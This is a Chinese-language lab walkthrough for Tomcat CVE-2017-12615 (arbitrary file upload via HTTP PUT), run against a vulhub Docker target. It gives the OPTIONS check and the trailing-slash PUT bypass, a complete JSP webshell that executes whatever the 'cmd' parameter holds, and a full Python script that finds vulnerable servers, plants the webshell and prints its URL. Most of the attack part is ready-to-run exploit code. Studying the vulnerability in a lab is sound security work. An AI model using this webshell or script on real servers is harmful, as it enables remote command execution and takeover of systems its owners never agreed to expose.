Tomcat CVE-2017-12615 PUT任意文件上传
漏洞原理:传送门
实验环境
主机 | 角色 | IP |
---|---|---|
centos8 | 漏洞靶机 | 192.168.1.80 |
windows10 | 攻击主机(burp) | 192.168.1.120 |
实验流程
开启漏洞靶机centos8
# 进入vulhub目录
cd /usr/sbin/vulhub/tomcat/CVE-2017-12615
# 创建docker镜像
docker-compose build
# 启动docker镜像
docker-compose up -d
查看tomcat关键的配置文件
vim Dockerfile
cat /usr/local/tomcat/conf/web.xml | grep ‘<init-param>’
向目标url发送一个options方法的请求,用来获知服务器允许的实际请求(看其中是否有PUT)
OPTIONS /shell.jsp/ HTTP/1.1
Host: 192.168.1.80:8080
Content-Length:5
shell
如上图所示,返回的Allow字段中含有PUT方法,说明服务器允许PUT请求。
尝试使用PUT方法上传一个文件shell.jsp:
用浏览器尝试访问该文件:
如图所示,成功访问。
尝试上传一个webshell,内容如下:
<%@
page language="java"
import="java.util.*,java.io.*"
pageEncoding = "UTF-8"
%>
<%!public static String excuteCmd(String c) {
StringBuilder line = new StringBuilder();
try {
Process pro = Runtime.getRuntime().exec(c);
BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
String temp = null;
while ((temp = buf.readLine()) != null){
line.append(temp+"\\n");
}
buf.close();
} catch (Exception e) {
line.append(e.getMessage());
}
return line.toString();
}
%>
<%
if(!"".equals(request.getParameter("cmd"))){
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}else{
out.println(":-)");
}
%>
访问上传的webshell:
成功!
为方便复现漏洞,可以编写一个python脚本:
import http.client,sys
import time
#target = sys.argv[1]
file_name = str(int(time.time()))+'.jsp' #以时间戳作为文件名,防止重名
body = '''<%@
page language="java"
import="java.util.*,java.io.*"
pageEncoding = "UTF-8"
%>
<%!public static String excuteCmd(String c) {
StringBuilder line = new StringBuilder();
try {
Process pro = Runtime.getRuntime().exec(c);
BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
String temp = null;
while ((temp = buf.readLine()) != null){
line.append(temp+"\\n");
}
buf.close();
} catch (Exception e) {
line.append(e.getMessage());
}
return line.toString();
}
%>
<%
if(!"".equals(request.getParameter("cmd"))){
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}else{
out.println(":-)");}
%>
'''
target = sys.argv[1] #接收一个参数,作为目标url
try:
conn = http.client.HTTPConnection(target) #对目标进行http连接
conn.request(method='OPTIONS',url="/mapx") #用options方法对目标url发起请求(路径随意)
headers = dict(conn.getresponse().getheaders()) #获取响应头,作为一个字典
#print(headers)
if 'Allow' in headers and headers['Allow'].find('PUT') > 0: #查找响应头的Allow字段是否含有PUT
conn.close() #关闭http连接
conn = http.client.HTTPConnection(target)
url = "/" + file_name + "/" #注意,一定要在filename后加/,这样才可以让tomact将shell.jsp/当作非jsp文件,让DefaultServlet去处理
#url = "/" + str(int(time.time()))+'.jsp::$DATA'
conn.request(method='PUT', url=url, body=body) #使用PUT方式发送HTTP请求
res = conn.getresponse() #获取response对象
if res.status == 201:
try:
#请求上传的文件,校验是否上传成功可被访问
conn = http.client.HTTPConnection(target)
conn.request(method='GET',url=url) #请求上传的文件
html = conn.getresponse().read() #获取respose
html = html.decode()
if file_name in html: #查找filename是否在html中
print('shell:' + target + url[:-1]) #输出文件名和url
result = 'vulnerable'
else:
print('upload faild')
result = 'vulnerable'
except Exception as e:
result = 'not vulnerable'
print('Error:',e)
elif res.status == 204: #204说明文件重名
result = 'not vulnerable'
print('file exists')
else:
result = 'not vulnerable'
print('error')
conn.close()
else:
result = 'not vulnerable'
print('Server not vulnerable')
except Exception as e:
print('Error',e)
运行python脚本,传入目标url:
访问该文件,并传入命令参数:
成功!